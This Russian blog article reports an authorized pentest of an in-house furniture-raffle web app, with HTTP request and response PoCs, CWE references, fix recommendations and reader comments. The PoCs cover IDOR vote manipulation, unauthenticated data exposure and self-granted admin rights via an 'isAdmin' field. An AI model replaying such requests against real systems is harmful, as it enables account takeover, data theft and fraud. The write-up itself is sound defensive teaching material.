Если вы начинающий разработчик и создаете свой пет-проект, легко увлечься бэкендом и фронтендом, а на ИБ сил уже не останется. Даже если проект совсем небольшой и там, казалось бы, защищать-то особо нечего, злоумышленники всегда найдут дыры в безопасности. Взломать незащищенный сайт или приложение легче, чем кажется.

Привет! Меня зовут Наташа Баранова, я младший специалист по анализу защищенности веб-приложений в Selectel. В статье расскажу, как проводила пентест пет-проекта своего коллеги: я получала права админа, обнуляла голоса других пользователей, меняла цены, самовольно назначала победителя и подкручивала результаты голосований. И да — это все происходило в приложении, которое оказалось простым и удобным для пользователей, а уж для меня — почти праздник. Надеюсь, будет полезно и начинающим в ИБ, и разработчикам, которые хотят понять базовые ошибки безопасности.

Сразу уточню, что этот кейс — разбор пентеста пет-проекта одного из фронтенд-разработчиков. Проект не является частью продуктовой линейки Selectel. Также заранее заверим: все команды, которые развивают облачные продукты Selectel, придерживаются лучших практик информационной безопасности. В нашем отделе информационной безопасности мы, помимо пентеста критичных для бизнеса систем, также помогаем коллегам оценить защищенность их небольших проектов, когда те к нам обращаются.

Дисклеймер. Это не инструкция «как взломать». Моя задача — показать, как легко — и почему — небольшие сайты и приложения могут дать волю проблемам, если безопасность не была изначально в приоритете.

Используйте навигацию, если не хотите читать текст полностью:

Кратко о приложении

В Selectel мы любим давать вещам вторую жизнь. Батарейки — сдаем, контейнеры и одежду — тоже, чтобы хоть немного помочь природе. С мебелью та же история: у каждого предмета есть свой регламентированный срок жизни, но часто он истекает, а стол или стул все еще выглядят прилично. Просто выбросить? Не наш метод. 

Так родилась идея: вместо свалки — продавать мебель по приятной цене коллегам. Заходим на сайт — и нас встречает страница с доступными столами и стульями. Все миленько, аккуратненько.

Скриншот главной страницы сайта.

Если какой-то предмет привлек внимание, можно зарегистрироваться и вступить в розыгрыш — вот такой необычный мини-игровой элемент. После этого админ «крутит барабан», и счастливчик получает уведомление: вещь теперь его (если заплатит). Все выглядит просто и понятно, как дважды два.

Скриншот одного из объявлений.

С точки зрения пользователя процесс кажется максимально прозрачным и легким, но на самом деле все куда интереснее. Уже на этапах регистрации, голосования за понравившийся предмет и хранения пользовательских данных проявились слабые места: в логике приложения, проверке прав и обработке информации. Именно эти тонкости мы разберем дальше — как раз те моменты, где маленький проект для разработчика превращается в большую работу для пентестера.

Как проводим пентест

Иллюстрация развлекательного характера (мем).

Как правило, для меня пентест начинается с самого простого — «протыкивания» интерфейса: кликаю все кнопки, пробую все формы, изучаю поведение приложения как обычный пользователь. Это помогает быстро заметить необычное поведение, ошибки в UI или очевидные обходы логики. Если по результатам этого «прощупывания» ничего не всплыло — перехожу к более формальному осмотру.

В основе нашей методики — рекомендации WSTG (OWASP Web Security Testing Guide). По сути, это наш внутренний чек‑лист, но с дополнительными наборами распространенных тест‑кейсов, которые я прогоняю для каждого веб‑приложения. В чек‑лист входят пункты по аутентификации и авторизации, управлению сессиями, валидации ввода, хранению данных, контролю доступа, защите от CSRF/XXE/SQLi/XSS и т. д. Параллельно «катаю» автотесты и вручную прогоняю критичные сценарии. Например, для данного приложения это регистрация, авторизация, голосование/розыгрыш, получение уведомлений — а если проще, то все, что используют пользователи.

Пентест у нас двухраундовый, и это не потому что мы любим усложнять себе жизнь. После первого круга разработчики правят найденные баги, а чтобы убедиться, что фиксы работают и не порождают новых бед, мы бьем по системе еще раз. Почему это важно? Потому что исправления нередко закрывают лишь часть уязвимости или создают побочные эффекты. Таким образом, две итерации позволяют пройти полный цикл: нашли → исправили → проверили → закрыли задачу или вернули на доработку — и сделали это корректно.

Security Center

Рассказываем о лучших практиках и средствах ИБ, требованиях и изменениях в законодательстве.

Исследовать →

Результаты первого пентеста

Первый пентест выдал несколько критичных проблем. Ниже я разберу только те, у которых был наибольший импакт.

Критичность выявленных проблем

  • [CRIT] — Critical. Высокие риски, выход в прод при таковых не рекомендован.

  • [MOD] — Moderate. Средние риски, выход в прод возможен при определении сроков устранения.

  • [NOTE] — Notice. Низкие/отсутствующие риски, для информации.

[CRIT] 1. Участие и отказ от участия за других пользователей

Идентификаторы: CWE‑639 — Authorization Bypass Through User-Controlled KeyCWE‑285 — Improper Authorization.

Эндпоинты «участвовать/отказаться» принимают запросы без аутентификации и слепо доверяют id/userId из тела или URL — то есть можно подменить чужой id и проголосовать или удалить голос от имени другого пользователя. Для механики голосований и розыгрышей это означает одну простую вещь: результаты можно фальсифицировать, а доверие пользователей — подмять под себя.

Proof of Concept (PoC)

1. Как думаете, получится ли у меня получить id всех проголосовавших? Конечно, получится. Отправляем request:

GET /api/collections/requests/records/?filter=productId=%22i2y0g5jinm80ye6%22 HTTP/2
Host: api.*****.ru
Accept: */*
Origin: https://*****.ru
Referer: https://*****.ru/

И получаем response:

HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{"page":1,"perPage":30,"totalItems":3,"totalPages":1,"items":[{"collectionId":"gu71v2w1foz3e4u","collectionName":"requests","created":"2024-12-16 23:17:15.952Z","id":"txfh2yo8nm80ye6","productId":"i2y0g5jinm80ye6","updated":"2024-12-16 23:17:15.952Z","userId":"txfh2yo85343cyy"},{"collectionId":"gu71v2w1foz3e4u","collectionName":"requests","created":"2025-03-21 11:56:07.224Z","id":"txfh2yo85343cyy","productId":"i2y0g5jinm80ye6","updated":"2025-03-21 11:56:07.224Z","userId":"txfh2yo85343cyy"},{"collectionId":"gu71v2w1foz3e4u","collectionName":"requests","created":"2025-03-21 12:35:14.937Z","id":"xfbz5c0onm80ye6","productId":"i2y0g5jinm80ye6","updated":"2025-03-21 12:35:14.937Z","userId":"xfbz5c0o2c31b4b"}]}

Здесь можно видеть id всех участников голосования, а также дату и время, когда они голосовали. В этом ответе мой userId — xfbz5c0o2c31b4b.

2. Проголосуем за другого пользователя (сервер принимает POST без токена).

Request:

POST /api/collections/requests/records HTTP/2
Host: api.*****.ru
Content-Length: 81
Content-Type: application/json
Origin: https://*****.ru
Referer: https://*****.ru/
{"id":"txfh2yo85343cyy","userId":"txfh2yo85343cyy","productId":"i2y0g5jinm80ye6"}

Видим, что сервер создает/подтверждает запись от имени txfh2yo85343cyy — нет проверки авторства.

3. Попробуем удалить голос другого пользователя. Для этого используем метод DELETE и подменим id в URL.

Request:

DELETE /api/collections/requests/records/txfh2yo85343cyy HTTP/2
Host: api.*****.ru
Content-Length: 24
Content-Type: application/json
Origin: https://*****.ru
Referer: https://*****.ru/
{"id":"txfh2yo85343cyy"}

Response:

HTTP/2 204 No Content

Запись удалена — операция прошла без авторизации и проверки владения. Вывод простой: приложение не проверяет авторство операций и полагается на данные, пришедшие от клиента, а клиент легко может их подделать.

Рекомендации

  • Требовать аутентификацию (токен/сессия) для всех операций изменения состояний (POST/DELETE/PUT/PATCH).

  • Извлекать userId только из токена/сессии и игнорировать userId, присланный клиентом.

  • Проверять на сервере, что удаляемая или изменяемая запись принадлежит текущему пользователю (owner‑check).

[CRIT] 2. Раскрытие данных пользователей без аутентификации

Идентификаторы: CWE‑200 — Exposure of Sensitive Information to an Unauthorized ActorCWE‑284 — Improper Access ControlCWE‑287 — Improper Authentication.

API отдает профили пользователей без аутентификации. Зная id, можно запросить чужой профиль (даже админа) и увидеть его данные, а также историю действий. Последствия очевидны: утечка персональных данных, служебных email, возможность легко выявлять администраторов и создавать почву для фишинга или перебора логинов.

PoC: получим профиль администратора.

Request:

GET /api/collections/users/records/txfh2yo85343cyy HTTP/2
Host: api.*****.ru

Response:

HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 330
{"avatar":"","collectionId":"_pb_users_auth_","collectionName":"users","created":"2024-12-03 09:39:28.788Z","email":"*****@selectel.ru","emailVisibility":true,"id":"txfh2yo85343cyy","isAdmin":true,"isAgree":true,"name":"name_*****@selectel.ru","updated":"2025-02-22 21:15:58.396Z","username":"users13985","verified":true}

2. А как вам идея собрать список всех email пользователей? Это легче, чем кажется.

Request:

GET /api/collections/emailUsers/records HTTP/2
Host: api.*****.ru

Response:

HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 890
{
  "page": 1,
  "perPage": 30,
  "totalItems": 15,
  "totalPages": 1,
  "items": [
    {
      "collectionId": "879encf04pmdper",
      "collectionName": "emailUsers",
      "email": "*****@mail.ru",
      "id": "3p9aoxchqhglsg8"
    },
    ...,
    {
      "collectionId": "879encf04pmdper",
      "collectionName": "emailUsers",
      "email": "*****@selectel.ru",
      "id": "xfbz5c0o2c31b4b"
    },
    {
      "collectionId": "879encf04pmdper",
      "collectionName": "emailUsers",
      "email": "*****@selectel.ru",
      "id": "0u1rcu8cathl9el"
    }
  ]
}

3. Может, история выбора предметов конкретного пользователя будет скрыта? Нет.

Request:

GET /api/collections/requests/records/?filter=userId=%22txfh2yo85343cyy%22
Host: api.*****.ru

Response:

HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 932
{"page":1,"perPage":30,"totalItems":4,"totalPages":1,"items":[{"collectionId":"gu71v2w1foz3e4u","collectionName":"requests","created":"2024-12-03 16:22:52.830Z","id":"txfh2yo8p5fdyui","productId":"b2yxaj3wp5fdyui","updated":"2024-12-03 16:22:52.830Z","userId":"txfh2yo85343cyy"},{"collectionId":"gu71v2w1foz3e4u","collectionName":"requests","created":"2024-12-16 23:17:15.952Z","id":"txfh2yo8nm80ye6","productId":"i2y0g5jinm80ye6","updated":"2024-12-16 23:17:15.952Z","userId":"txfh2yo85343cyy"},{"collectionId":"gu71v2w1foz3e4u","collectionName":"requests","created":"2025-02-09 17:30:46.370Z","id":"txfh2yo8zzh6jom","productId":"2digrflgzzh6jom","updated":"2025-02-09 17:30:46.370Z","userId":"txfh2yo85343cyy"},{"collectionId":"gu71v2w1foz3e4u","collectionName":"requests","created":"2025-03-21 16:03:22.092Z","id":"txfh2yo85343cyy","productId":"i2y0g5jinm80ye6","updated":"2025-03-21 16:03:22.092Z","userId":"txfh2yo85343cyy"}]}

Рекомендации

  • Закрыть эндпоинты авторизацией (JWT, SSO или аналог).

  • Возвращать только минимально необходимый набор данных — ничего лишнего в ответах.

  • Проверять права на сервере, чтобы убедиться, что текущий пользователь действительно может видеть конкретную информацию о чужих профилях.

[MOD] 3. Обход ограничения на уникальность email

Идентификаторы: CWE‑694 — Use of Multiple Resources with Duplicate IdentifierCWE‑20 — Improper Input Validation.

Приложение позволяет регистрироваться только с почтами, которые принадлежат домену selectel.ru. Кроме того, придется пройти верификацию учетной записи, поэтому чужой адрес почты использовать нельзя. Но я заметила, что сайт не нормализует email при регистрации: символ «+» и последующие фактически игнорируются у многих почтовых провайдеров, поэтому на один реальный ящик можно завести несколько аккаунтов вроде example@selectel.ru и example+user@selectel.ru. В контексте розыгрышей — это бесплатный баг в системе: дополнительные аккаунты легко использовать для накрутки голосов и других мошенничеств.

Рекомендации

  • Нормализовать email при регистрации (привести к нижнему регистру и убрать «+»‑теги). 

  • Требовать верификацию подтвержденного адреса и по возможности перейти на SSO, чтобы исключить дублирование аккаунтов.

Итоги первого пентеста

Вкратце: три главные проблемы — возможность голосовать/удалять голоса за других, публичный доступ к профилям и почтам, а также обход уникальности email — в сумме дают понятный набор рисков: фальсификация розыгрышей, массовый сбор персональных данных и простая накрутка через дубли‑аккаунты. 

Причины — банальны и одновременно опасны: сервер доверяет клиенту, валидация поверхностная, а авторизация мягче ватного шарика. Простые правки — требование аутентификации для критичных операций, получение userId только из токена/сессии, нормализация email и скрытие приватных полей в API — закрывают основные входы для атак.

Но фиксы — спойлер — меняют логику приложения и иногда рождают новые нюансы. Ниже — разбор второго пентеста: сданные уязвимости были исправлены, но после доработки всплыли новые моменты.

Результаты второго пентеста

Иллюстрация развлекательного характера (мем).

[CRIT] 1. Заведение пользователя-админа через скрытое поле ‘isAdmin’:true

Идентификаторы: CWE‑285 — Improper AuthorizationCWE‑269 — Improper Privilege Management.

В запросе на регистрацию можно передать скрытое поле isAdmin — и это позволит любому пользователю получить права администратора. А с ними можно редактировать карточки товаров, выбирать победителей в розыгрышах, просматривать всех пользователей, менять их данные и творить прочие безобразия?

Передав ‘isAdmin’:true, получаем админа и идем смотреть, что нам теперь доступно. Давайте начнем с того, что поменяем цену на товар. Например, есть диван, который стоит 6 000 ₽:

Скриншот объявления. Стоимость — 6 000 ₽.

Отправим запрос на изменение его стоимости через админа (которым мы сделали себя сами) и получим очень приятную цену со скидкой — 0 ₽:

Скриншот объявления. Стоимость — 0 ₽.

Или провернем трюк с другим товаром. Давайте проведем честные выборыназначим победителя, ведь у нас есть для этого специальная кнопка:

Скриншот объявление — выбор победителя.

Чтобы убедиться, что победил наш кандидат, зайдем в его аккаунт и увидим подтверждение.

Подтверждение на аккаунте покупателя.

Ради интереса выведем список всех пользователей, участвовавших в голосовании:

Список пользователей из голосования.

И это лишь часть возможностей админа.

PoC (получение прав админа): регистрация пользователя с установленным ‘isAdmin’:true.

POST /api/collections/users/records HTTP/2
Host: api.*****.selectel.org
Content-Length: 189
Content-Type: application/json
Origin: https://*****.selectel.org

{"email":"*****@selectel.ru","emailVisibility":true,"isAdmin":true,"isAgree":true,"password":"1q2w3e4r5t!@","passwordConfirm":"1q2w3e4r5t!@","name":"name_*****@selectel.ru"}

Успех, теперь мы — админ:

HTTP/2 200 OK
Server: nginx/1.24.0 (Ubuntu)

{"avatar":"","collectionId":"_pb_users_auth_","collectionName":"users","created":"2025-08-27 10:37:45.178Z","email":"****@selectel.ru","emailVisibility":true,"id":"960dhp0ea1831w4","isAdmin":true,"isAgree":true,"name":"name1_****@selectel.ru","updated":"2025-08-27 12:52:55.388Z","verified":false}

После прохождения верификации почты приложение дает доступ к функциям админа. Еще одно подтверждение админских прав — получение ответа от сервера после успешной авторизации:

Ответы от сервера.

PoC (редактирование карточки):

Редактирование карточки товара.

Запрос на изменение стоимости товара: 

PATCH /api/collections/products/records/2w0n7096jr569g4 HTTP/2
Host: api.*****.selectel.org
Authorization: eyJhb...
Content-Type: application/json
Origin: https://*****.selectel.org
Content-Length: 40

{
"price":10,
"priceWithDiscount":0
}

Цена успешно изменена:

HTTP/2 200 OK
Server: nginx/1.24.0 (Ubuntu)

{"category":"sofa","collectionId":"ccvdwbg3h0sh6ub","collectionName":"products","description":"Хорошее. \r\nЕсть на подлокотниках маленькие потертости.","dimensions":"ДШВ 170*75*90 см","id":"2w0n7096jr569g4","imageLink":"https://selstorage.ru/file/d/1Qdhq3AkM-0FUdCO1GgyPrZfGW1mRpEPJ/view?usp=drive_link","images":["photo_2024_10_31_16_56_02_qe8c40sziu.jpg","photo_2024_10_31_17_00_38_xatagq0xwx.jpg"],"indexFromDoc":18,"percentageOfWear":0.6,"price":10,"priceWithDiscount":0,"title":"Диван 3-х местный 170х75, серый к/з","winner":""}

Рекомендации

  • Убрать возможность регистрации с правами администратора — удалить поле isAdmin из клиентской части, чтобы оно не передавалось в API.

  • Права админа назначать только через существующего администратора.

  • Дополнительно сервер должен проверять все входящие данные и не доверять клиенту.

[CRIT] 2. Возможность «накрутки» запросов на участие

Идентификаторы: CWE‑639 — Authorization Bypass Through User-Controlled KeyCWE‑285 — Improper Authorization.

Перехватив POST‑запрос, можно подменить id записи участия и проголосовать несколько раз за одно и то же соревнование, что делает накрутки и фальсификации тривиальными.

PoC: отправляем запрос на участие, изменив значение поля id на любое уникальное.

Изменение значения id.
Изменение значения id.

Выведем все записи розыгрыша мебели. Обратите внимание на разные записи, которые относятся к одной связке «мебель-пользователь»:

Вывод всех записей розыгрыша мебели.
Вывод всех записей розыгрыша мебели.

Рекомендаци 

  • На сервере жестко ограничить количество голосов по схеме «не более одного голоса от одного пользователя на одно голосование» (проверять userId из токена/сессии, игнорировать userId из тела).

  • Помимо прочего, важно добавить уникальные ограничения/индексы и rate‑limit на операции голосования.

[MOD] 3. Нет флага HttpOnly для куки pb_auth

Идентификаторы: CWE‑200 — Exposure of Sensitive Information to an Unauthorized ActorCWE‑79 — Cross‑Site Scripting (XSS).

Токен в pb_auth хранится в куке без HttpOnly. Значит, любой XSS‑скрипт на странице может ее прочитать и унести сессию — а дальше действовать от имени жертвы. Это прямой путь к краже аккаунтов, утечке данных и массовым злоупотреблениям.

Просмотр куки.

Рекомендация — сделать cookie HttpOnly .

[MOD] 4. Токены аутентификации не отзываются после выхода из аккаунта

Идентификатор: CWE‑613 — Insufficient Session Expiration.

После логаута токен все еще живет и продолжает работать до своего истечения. Это значит, что если злоумышленник его перехватит, то сможет выдать себя за пользователя и действовать от его имени.

Рекомендация: токен должен инвалидироваться сразу после выхода из приложения — аналогично тому, как это происходит при смене пароля.

[NOTE] 5. Раскрытие валидных логинов и отсутствие защиты от брутфорса 

Идентификаторы: CWE‑200 — Exposure of Sensitive Information to an Unauthorized ActorCWE‑307 — Improper Restriction of Excessive Authentication Attempts.

Запрос на регистрацию охотно отвечает, какие логины уже заняты. Собрав список «живых» логинов, злоумышленнику остается только подобрать пароли. В отсутствие rate‑limit, капч и MFA это превращается в реальную угрозу компрометации учеток и кражи доступа.

PoC: мы можем увидеть раскрытие существующего пользователя под формой входа.

Скриншот страницы регистрации. Ошибка: почта невалидна, либо уже используется.

Или в ответе на запрос регистрации:

{"data":{"email":{"code":"validation_not_unique","message":"Value must be unique."}},"message":"Failed to create record.","status":400}

С обнаруженным логином можем выполнить перебор паролей, потому что нет никакой защиты от брутфорса:

Перебор паролей.

Рекомендации: ответ формы регистрации должен быть одинаковым для всех случаев — например, как при сбросе пароля для суперпользователя (/api/collections/_superusers/request-password-reset), где всегда пишется, что письмо отправлено, независимо от логина. Чтобы защититься от брутфорса, можно добавить капчу, ограничение скорости запросов (rate-limiting) или полностью перейти на вход через SSO.

[NOTE] 6. Yandex Webvisor собирает email пользователей

Идентификатор: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor.

Ненастроенный Yandex Webvisor ловит все логины, которые пользователи вводят в формах регистрации и входа. Если кто‑то посторонний получит доступ к аналитике, это превратится в утечку чувствительных данных.

PoC:

Просмотр данных из аналитики.
Просмотр данных из аналитики.

Рекомендация — в настройках Webvisor запретить запись чувствительных данных, таких как логины, чтобы они не сохранялись и не могли попасть в чужие руки.

[NOTE] 7. Отсутствует кнопка сброса пароля для обычных пользователей

Идентификатор: CWE-640 — Weak Password Recovery Mechanism for Forgotten Password.

У обычного пользователя должна быть возможность сброса пароля без знания старого, как это реализовано для админа через / _/#/request-password-reset. Сейчас же поменять пароль можно только через PATCH на /api/collections/users/records, зная старый пароль, что лишает пользователей стандартного механизма восстановления.

PoC. Так выглядит сброс пароля на /api/collections/users/records с указанием старого пароля:

Сброс пароля с указанием старого.

При этом на входе нет знакомой кнопки «Забыл пароль»: 

Скриншот страницы авторизации.

Рекомендации

  • Если вход по логину и паролю остается, добавить пользователям возможность сброса пароля без знания старого, а также реализовать функцию смены пароля в самом аккаунте. 

  • Внедрить двухфакторную аутентификацию (2FA) — и удобно, и безопасно (ну, почти).

Заключение

Вот такие дела: приложение тестировалось легко, а уязвимости оказались классическими — ровно те, что чаще всего всплывают в небольших проектах. Самое трудоемкое здесь, пожалуй, было аккуратно оформить результаты в отчет.

Если у вас есть свой опыт пентестов — делитесь в комментариях, потому что я обожаю читать про уязвимости и то, как они были обнаружены. Или, возможно, вы разработчик, который отдавал свое приложение на проверку ИБ, — ваши истории тоже будет интересно почитать!

Комментарии (15)


  1. Akina
    22.10.2025 09:58

    • Извлекать userId только из токена/сессии и игнорировать userId, присланный клиентом.

    А почему игнорировать? Я бы сравнивал... и алерт, если несоответствие.


    1. DarkRa1n Автор
      22.10.2025 09:58

      Если сервер не принимает userId из тела запроса, то и сравнивать не нужно - он сам извлекает userId из токена и работает только с записями этого пользователя. Если же userId передаётся клиентом - проверка обязательна, чтобы не дать ему действовать от чужого имени. В данном случае предпочтительнее вообще не передавать userId в теле запроса, потому что так проще. Если userId не передается клиентом - он не может его подделать. Нет параметра - нет риска.


      1. Akina
        22.10.2025 09:58

        Не-не... давайте не отрываться от обсуждаемой фразы. А фраза однозначно утверждает, что userIdи извлекается из токена, и присылается клиентом. Согласитесь, что если имеется две независимо полученные копии одного и того же значения, вполне разумно сверить их. И если эта сверка даст отрицательный результат, то где-то имеет место быть проблема, на которую просто нельзя не реагировать.

        Вопрос о том, какой должна быть эта реакция - это уже другой вопрос, за рамками. Но само рассуждение, наоборот, приводит к мысли, что наличие параметра может работать как ловушка на беспечного плохиша. Зачем упускать такую возможность?


        1. DarkRa1n Автор
          22.10.2025 09:58

          Да, при наличии двух источников одного и того же значения (токен и тело запроса) - логично их сверить, так что вы правы) Но цель моей рекомендации - полностью исключить использование клиентского userId, потому что если клиент не может передать userId, то подделка невозможна и проверять нечего.

          В случае же, если мы по какой-то причине всё же принимаем userId от клиента - да, его надо сравнивать с тем, что в токене, и при несовпадении - выдавать 403/400 или хотя бы писать alert (как вы и предложили).


        1. Wesha
          22.10.2025 09:58

          Согласитесь, что если имеется две независимо полученные копии одного и того же значения, вполне разумно сверить их.

          «Человек, у которого одни часы, всегда знает, который час. Человек, у которого двое часов, никогда в этом не уверен» ©


    1. ViskasSP1vom
      22.10.2025 09:58

      Сравнение это лишняя сущность и усложнение логики. Единственный источник правды о том кто выполняет действие, это токен. Клиент не должен иметь права голоса в этом вопросе. Если сервер в принципе не смотрит на userId из тела запроса, то уязвимости просто нет по определению. Это проще и надежнее


    1. nsmcan
      22.10.2025 09:58

      В более сложных системах, да и в этой тоже - для админа, например, может быть вполне легальная ситуация, когда userid в токене не совпадает с userid в теле запроса. Это просто будет означать, что залогиненный пользователь имеет право действовать от имени другого или получать информацию о другом пользователе. И сервер, естественно, это право должен проверить на этапе исполнения запроса - при авторизации.

      Просто как напоминание:

      • Аутентикация: проверка кто ты есть

      • Авторизация: проверка что ты имеешь право делать


  1. Zagrebelion
    22.10.2025 09:58

    Простые правки — требование аутентификации для критичных операций, получение userId только из токена/сессии, нормализация email и скрытие приватных полей в API — закрывают основные входы для атак.

    Забавно, что таблицы в pocketbase по дефолту доступны снаружи только для суперпользователей. То есть, кто-то из ваших кодеров не поленился снять это ограничение, но не стал добавлять правило @request.auth.id=user_id, которое в том же диалоге делается.


    1. DarkRa1n Автор
      22.10.2025 09:58

      Спасибо за замечание, и вы абсолютно правы - базовые меры безопасности это must-have. Но это был первый полноценный проект моего коллеги-фронтендера, и писал он его с нуля и самостоятельно - и, как часто бывает в таких случаях, фокус был на "сделать так, чтобы работало", а не на "сделать безопасно". Главное, что он не просто оставил как есть, а пришёл к нам, попросил проверить на безопасность, признал недочёты и сам исправил все критичные уязвимости. Это и есть рост.


  1. ViskasSP1vom
    22.10.2025 09:58

    Отличный пример здоровой культуры в компании) Разработчик не боится показать свой проект ИБ-отделу, а ИБ-отдел не просто выдает сухой отчет, а помогает разобраться и превращает это в обучающий материал для всех. Вот такая совместная работа а не игра в кошки-мышки и растит нормальных профессионалов


  1. Lord_of_Rings
    22.10.2025 09:58

    Сервис дырявый весь насквозь, как будто специально для статьи сделан)


    1. DarkRa1n Автор
      22.10.2025 09:58

      На вашем месте я, может, тоже так подумала бы, но я вас уверяю, это реальный проект, а не постановочная история. Просто кейс получился настолько показательный, что его захотелось разобрать в статье)


      1. dso
        22.10.2025 09:58

        isAdmin":true

        Они старались по самым канонам просто.


        1. Wesha
          22.10.2025 09:58

          По самым канонам

          там была бы SQL-инъекция


  1. zuek
    22.10.2025 09:58

    Очень на мой взгляд странная практика - передавать UserID с запросом - всё, что я писал даже для внутреннего использования, за последние лет 20, даже отчёты по потреблённому трафику, использовало данные либо из $_SESSION, либо через mysqli_query/pg_fetch* по полю из $_SESSION, и это делал "программист", окончивший официальное обучение аж в 1994-м году (ладно, то, что я писал 30+ лет назад вообще не подразумевало какой-либо авторизации/аутентификации - не те времена были). Но вообще, дичь, конечно, встречать в GET-запросах (которые в адресную строку подставляются) чувствительную информацию - благо, последние годы это всё "спрятали" на POST-запросами, но сама логика продолжает вызывать недоумение.